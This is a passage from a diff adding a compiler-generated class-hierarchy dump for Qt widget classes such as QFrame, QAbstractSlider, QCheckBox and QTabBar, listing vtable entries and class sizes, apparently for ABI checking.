+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractButton::hitButton
+228 QAbstractButton::checkStateSet
+232 QAbstractButton::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI15QAbstractButton)
+244 QAbstractButton::_ZThn8_N15QAbstractButtonD1Ev
+248 QAbstractButton::_ZThn8_N15QAbstractButtonD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractButton
+ size=20 align=4
+ base size=20 base align=4
+QAbstractButton (0xb3c46f40) 0
+ vptr=((& QAbstractButton::_ZTV15QAbstractButton) + 8u)
+ QWidget (0xb3c70c80) 0
+ primary-for QAbstractButton (0xb3c46f40)
+ QObject (0xb3c5d654) 0
+ primary-for QWidget (0xb3c70c80)
+ QPaintDevice (0xb3c5d690) 8
+ vptr=((& QAbstractButton::_ZTV15QAbstractButton) + 244u)
+
+Vtable for QFrame
+QFrame::_ZTV6QFrame: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QFrame)
+8 QFrame::metaObject
+12 QFrame::qt_metacast
+16 QFrame::qt_metacall
+20 QFrame::~QFrame
+24 QFrame::~QFrame
+28 QFrame::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QFrame::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QFrame::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI6QFrame)
+232 QFrame::_ZThn8_N6QFrameD1Ev
+236 QFrame::_ZThn8_N6QFrameD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QFrame
+ size=20 align=4
+ base size=20 base align=4
+QFrame (0xb3c86440) 0
+ vptr=((& QFrame::_ZTV6QFrame) + 8u)
+ QWidget (0xb3c8c8c0) 0
+ primary-for QFrame (0xb3c86440)
+ QObject (0xb3c5da14) 0
+ primary-for QWidget (0xb3c8c8c0)
+ QPaintDevice (0xb3c5da50) 8
+ vptr=((& QFrame::_ZTV6QFrame) + 232u)
+
+Vtable for QAbstractScrollArea
+QAbstractScrollArea::_ZTV19QAbstractScrollArea: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAbstractScrollArea)
+8 QAbstractScrollArea::metaObject
+12 QAbstractScrollArea::qt_metacast
+16 QAbstractScrollArea::qt_metacall
+20 QAbstractScrollArea::~QAbstractScrollArea
+24 QAbstractScrollArea::~QAbstractScrollArea
+28 QAbstractScrollArea::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractScrollArea::mousePressEvent
+84 QAbstractScrollArea::mouseReleaseEvent
+88 QAbstractScrollArea::mouseDoubleClickEvent
+92 QAbstractScrollArea::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractScrollArea::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractScrollArea::paintEvent
+128 QWidget::moveEvent
+132 QAbstractScrollArea::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractScrollArea::dragEnterEvent
+156 QAbstractScrollArea::dragMoveEvent
+160 QAbstractScrollArea::dragLeaveEvent
+164 QAbstractScrollArea::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractScrollArea::viewportEvent
+228 QAbstractScrollArea::scrollContentsBy
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI19QAbstractScrollArea)
+240 QAbstractScrollArea::_ZThn8_N19QAbstractScrollAreaD1Ev
+244 QAbstractScrollArea::_ZThn8_N19QAbstractScrollAreaD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractScrollArea
+ size=20 align=4
+ base size=20 base align=4
+QAbstractScrollArea (0xb3c86700) 0
+ vptr=((& QAbstractScrollArea::_ZTV19QAbstractScrollArea) + 8u)
+ QFrame (0xb3c86740) 0
+ primary-for QAbstractScrollArea (0xb3c86700)
+ QWidget (0xb3ca34b0) 0
+ primary-for QFrame (0xb3c86740)
+ QObject (0xb3c5dc6c) 0
+ primary-for QWidget (0xb3ca34b0)
+ QPaintDevice (0xb3c5dca8) 8
+ vptr=((& QAbstractScrollArea::_ZTV19QAbstractScrollArea) + 240u)
+
+Vtable for QAbstractSlider
+QAbstractSlider::_ZTV15QAbstractSlider: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QAbstractSlider)
+8 QAbstractSlider::metaObject
+12 QAbstractSlider::qt_metacast
+16 QAbstractSlider::qt_metacall
+20 QAbstractSlider::~QAbstractSlider
+24 QAbstractSlider::~QAbstractSlider
+28 QAbstractSlider::event
+32 QObject::eventFilter
+36 QAbstractSlider::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QAbstractSlider::wheelEvent
+100 QAbstractSlider::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractSlider::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractSlider::sliderChange
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI15QAbstractSlider)
+236 QAbstractSlider::_ZThn8_N15QAbstractSliderD1Ev
+240 QAbstractSlider::_ZThn8_N15QAbstractSliderD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractSlider
+ size=20 align=4
+ base size=20 base align=4
+QAbstractSlider (0xb3c86a00) 0
+ vptr=((& QAbstractSlider::_ZTV15QAbstractSlider) + 8u)
+ QWidget (0xb3cba0f0) 0
+ primary-for QAbstractSlider (0xb3c86a00)
+ QObject (0xb3c5dec4) 0
+ primary-for QWidget (0xb3cba0f0)
+ QPaintDevice (0xb3c5df00) 8
+ vptr=((& QAbstractSlider::_ZTV15QAbstractSlider) + 236u)
+
+Vtable for QValidator
+QValidator::_ZTV10QValidator: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QValidator)
+8 QValidator::metaObject
+12 QValidator::qt_metacast
+16 QValidator::qt_metacall
+20 QValidator::~QValidator
+24 QValidator::~QValidator
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 QValidator::fixup
+
+Class QValidator
+ size=8 align=4
+ base size=8 base align=4
+QValidator (0xb3c86f80) 0
+ vptr=((& QValidator::_ZTV10QValidator) + 8u)
+ QObject (0xb3cd21e0) 0
+ primary-for QValidator (0xb3c86f80)
+
+Vtable for QIntValidator
+QIntValidator::_ZTV13QIntValidator: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QIntValidator)
+8 QIntValidator::metaObject
+12 QIntValidator::qt_metacast
+16 QIntValidator::qt_metacall
+20 QIntValidator::~QIntValidator
+24 QIntValidator::~QIntValidator
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QIntValidator::validate
+60 QIntValidator::fixup
+64 QIntValidator::setRange
+
+Class QIntValidator
+ size=16 align=4
+ base size=16 base align=4
+QIntValidator (0xb3cd7240) 0
+ vptr=((& QIntValidator::_ZTV13QIntValidator) + 8u)
+ QValidator (0xb3cd7280) 0
+ primary-for QIntValidator (0xb3cd7240)
+ QObject (0xb3cd23fc) 0
+ primary-for QValidator (0xb3cd7280)
+
+Vtable for QDoubleValidator
+QDoubleValidator::_ZTV16QDoubleValidator: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QDoubleValidator)
+8 QDoubleValidator::metaObject
+12 QDoubleValidator::qt_metacast
+16 QDoubleValidator::qt_metacall
+20 QDoubleValidator::~QDoubleValidator
+24 QDoubleValidator::~QDoubleValidator
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QDoubleValidator::validate
+60 QValidator::fixup
+64 QDoubleValidator::setRange
+
+Class QDoubleValidator
+ size=28 align=4
+ base size=28 base align=4
+QDoubleValidator (0xb3cd7540) 0
+ vptr=((& QDoubleValidator::_ZTV16QDoubleValidator) + 8u)
+ QValidator (0xb3cd7580) 0
+ primary-for QDoubleValidator (0xb3cd7540)
+ QObject (0xb3cd25a0) 0
+ primary-for QValidator (0xb3cd7580)
+
+Vtable for QRegExpValidator
+QRegExpValidator::_ZTV16QRegExpValidator: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QRegExpValidator)
+8 QRegExpValidator::metaObject
+12 QRegExpValidator::qt_metacast
+16 QRegExpValidator::qt_metacall
+20 QRegExpValidator::~QRegExpValidator
+24 QRegExpValidator::~QRegExpValidator
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QRegExpValidator::validate
+60 QValidator::fixup
+
+Class QRegExpValidator
+ size=12 align=4
+ base size=12 base align=4
+QRegExpValidator (0xb3cd7900) 0
+ vptr=((& QRegExpValidator::_ZTV16QRegExpValidator) + 8u)
+ QValidator (0xb3cd7940) 0
+ primary-for QRegExpValidator (0xb3cd7900)
+ QObject (0xb3cd2870) 0
+ primary-for QValidator (0xb3cd7940)
+
+Vtable for QAbstractSpinBox
+QAbstractSpinBox::_ZTV16QAbstractSpinBox: 68u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QAbstractSpinBox)
+8 QAbstractSpinBox::metaObject
+12 QAbstractSpinBox::qt_metacast
+16 QAbstractSpinBox::qt_metacall
+20 QAbstractSpinBox::~QAbstractSpinBox
+24 QAbstractSpinBox::~QAbstractSpinBox
+28 QAbstractSpinBox::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractSpinBox::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractSpinBox::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QAbstractSpinBox::wheelEvent
+100 QAbstractSpinBox::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QAbstractSpinBox::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractSpinBox::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractSpinBox::validate
+228 QAbstractSpinBox::fixup
+232 QAbstractSpinBox::stepBy
+236 QAbstractSpinBox::clear
+240 QAbstractSpinBox::stepEnabled
+244 (int (*)(...))-0x000000008
+248 (int (*)(...))(& _ZTI16QAbstractSpinBox)
+252 QAbstractSpinBox::_ZThn8_N16QAbstractSpinBoxD1Ev
+256 QAbstractSpinBox::_ZThn8_N16QAbstractSpinBoxD0Ev
+260 QWidget::_ZThn8_NK7QWidget7devTypeEv
+264 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+268 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractSpinBox
+ size=20 align=4
+ base size=20 base align=4
+QAbstractSpinBox (0xb3cd7bc0) 0
+ vptr=((& QAbstractSpinBox::_ZTV16QAbstractSpinBox) + 8u)
+ QWidget (0xb3d08460) 0
+ primary-for QAbstractSpinBox (0xb3cd7bc0)
+ QObject (0xb3cd29d8) 0
+ primary-for QWidget (0xb3d08460)
+ QPaintDevice (0xb3cd2a14) 8
+ vptr=((& QAbstractSpinBox::_ZTV16QAbstractSpinBox) + 252u)
+
+Vtable for QButtonGroup
+QButtonGroup::_ZTV12QButtonGroup: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QButtonGroup)
+8 QButtonGroup::metaObject
+12 QButtonGroup::qt_metacast
+16 QButtonGroup::qt_metacall
+20 QButtonGroup::~QButtonGroup
+24 QButtonGroup::~QButtonGroup
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QButtonGroup
+ size=8 align=4
+ base size=8 base align=4
+QButtonGroup (0xb3cd7fc0) 0
+ vptr=((& QButtonGroup::_ZTV12QButtonGroup) + 8u)
+ QObject (0xb3cd2d20) 0
+ primary-for QButtonGroup (0xb3cd7fc0)
+
+Vtable for QCalendarWidget
+QCalendarWidget::_ZTV15QCalendarWidget: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QCalendarWidget)
+8 QCalendarWidget::metaObject
+12 QCalendarWidget::qt_metacast
+16 QCalendarWidget::qt_metacall
+20 QCalendarWidget::~QCalendarWidget
+24 QCalendarWidget::~QCalendarWidget
+28 QCalendarWidget::event
+32 QCalendarWidget::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QCalendarWidget::sizeHint
+68 QCalendarWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QCalendarWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QCalendarWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QCalendarWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QCalendarWidget::paintCell
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI15QCalendarWidget)
+236 QCalendarWidget::_ZThn8_N15QCalendarWidgetD1Ev
+240 QCalendarWidget::_ZThn8_N15QCalendarWidgetD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QCalendarWidget
+ size=20 align=4
+ base size=20 base align=4
+QCalendarWidget (0xb3b3e300) 0
+ vptr=((& QCalendarWidget::_ZTV15QCalendarWidget) + 8u)
+ QWidget (0xb3b4e190) 0
+ primary-for QCalendarWidget (0xb3b3e300)
+ QObject (0xb3cd2f3c) 0
+ primary-for QWidget (0xb3b4e190)
+ QPaintDevice (0xb3cd2f78) 8
+ vptr=((& QCalendarWidget::_ZTV15QCalendarWidget) + 236u)
+
+Vtable for QCheckBox
+QCheckBox::_ZTV9QCheckBox: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QCheckBox)
+8 QCheckBox::metaObject
+12 QCheckBox::qt_metacast
+16 QCheckBox::qt_metacall
+20 QCheckBox::~QCheckBox
+24 QCheckBox::~QCheckBox
+28 QCheckBox::event
+32 QObject::eventFilter
+36 QAbstractButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QCheckBox::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractButton::mousePressEvent
+84 QAbstractButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QCheckBox::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QAbstractButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QAbstractButton::focusInEvent
+112 QAbstractButton::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QCheckBox::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QCheckBox::hitButton
+228 QCheckBox::checkStateSet
+232 QCheckBox::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI9QCheckBox)
+244 QCheckBox::_ZThn8_N9QCheckBoxD1Ev
+248 QCheckBox::_ZThn8_N9QCheckBoxD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QCheckBox
+ size=20 align=4
+ base size=20 base align=4
+QCheckBox (0xb3b3e640) 0
+ vptr=((& QCheckBox::_ZTV9QCheckBox) + 8u)
+ QAbstractButton (0xb3b3e680) 0
+ primary-for QCheckBox (0xb3b3e640)
+ QWidget (0xb3b63640) 0
+ primary-for QAbstractButton (0xb3b3e680)
+ QObject (0xb3b641e0) 0
+ primary-for QWidget (0xb3b63640)
+ QPaintDevice (0xb3b6421c) 8
+ vptr=((& QCheckBox::_ZTV9QCheckBox) + 244u)
+
+Vtable for QSlider
+QSlider::_ZTV7QSlider: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QSlider)
+8 QSlider::metaObject
+12 QSlider::qt_metacast
+16 QSlider::qt_metacall
+20 QSlider::~QSlider
+24 QSlider::~QSlider
+28 QSlider::event
+32 QObject::eventFilter
+36 QAbstractSlider::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QSlider::sizeHint
+68 QSlider::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QSlider::mousePressEvent
+84 QSlider::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QSlider::mouseMoveEvent
+96 QAbstractSlider::wheelEvent
+100 QAbstractSlider::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QSlider::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractSlider::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractSlider::sliderChange
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI7QSlider)
+236 QSlider::_ZThn8_N7QSliderD1Ev
+240 QSlider::_ZThn8_N7QSliderD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSlider
+ size=20 align=4
+ base size=20 base align=4
+QSlider (0xb3b3ea00) 0
+ vptr=((& QSlider::_ZTV7QSlider) + 8u)
+ QAbstractSlider (0xb3b3ea40) 0
+ primary-for QSlider (0xb3b3ea00)
+ QWidget (0xb3b71f00) 0
+ primary-for QAbstractSlider (0xb3b3ea40)
+ QObject (0xb3b64474) 0
+ primary-for QWidget (0xb3b71f00)
+ QPaintDevice (0xb3b644b0) 8
+ vptr=((& QSlider::_ZTV7QSlider) + 236u)
+
+Vtable for QStyle
+QStyle::_ZTV6QStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QStyle)
+8 QStyle::metaObject
+12 QStyle::qt_metacast
+16 QStyle::qt_metacall
+20 QStyle::~QStyle
+24 QStyle::~QStyle
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QStyle::polish
+60 QStyle::unpolish
+64 QStyle::polish
+68 QStyle::unpolish
+72 QStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QStyle::standardPalette
+96 __cxa_pure_virtual
+100 __cxa_pure_virtual
+104 __cxa_pure_virtual
+108 __cxa_pure_virtual
+112 __cxa_pure_virtual
+116 __cxa_pure_virtual
+120 __cxa_pure_virtual
+124 __cxa_pure_virtual
+128 __cxa_pure_virtual
+132 __cxa_pure_virtual
+136 __cxa_pure_virtual
+
+Class QStyle
+ size=8 align=4
+ base size=8 base align=4
+QStyle (0xb3b3ee00) 0
+ vptr=((& QStyle::_ZTV6QStyle) + 8u)
+ QObject (0xb3b64780) 0
+ primary-for QStyle (0xb3b3ee00)
+
+Vtable for QTabBar
+QTabBar::_ZTV7QTabBar: 67u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QTabBar)
+8 QTabBar::metaObject
+12 QTabBar::qt_metacast
+16 QTabBar::qt_metacall
+20 QTabBar::~QTabBar
+24 QTabBar::~QTabBar
+28 QTabBar::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QTabBar::sizeHint
+68 QTabBar::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QTabBar::mousePressEvent
+84 QTabBar::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QTabBar::mouseMoveEvent
+96 QTabBar::wheelEvent
+100 QTabBar::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTabBar::paintEvent
+128 QWidget::moveEvent
+132 QTabBar::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QTabBar::showEvent
+172 QTabBar::hideEvent
+176 QWidget::x11Event
+180 QTabBar::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QTabBar::tabSizeHint
+228 QTabBar::tabInserted
+232 QTabBar::tabRemoved
+236 QTabBar::tabLayoutChange
+240 (int (*)(...))-0x000000008
+244 (int (*)(...))(& _ZTI7QTabBar)
+248 QTabBar::_ZThn8_N7QTabBarD1Ev
+252 QTabBar::_ZThn8_N7QTabBarD0Ev
+256 QWidget::_ZThn8_NK7QWidget7devTypeEv
+260 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+264 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTabBar
+ size=20 align=4
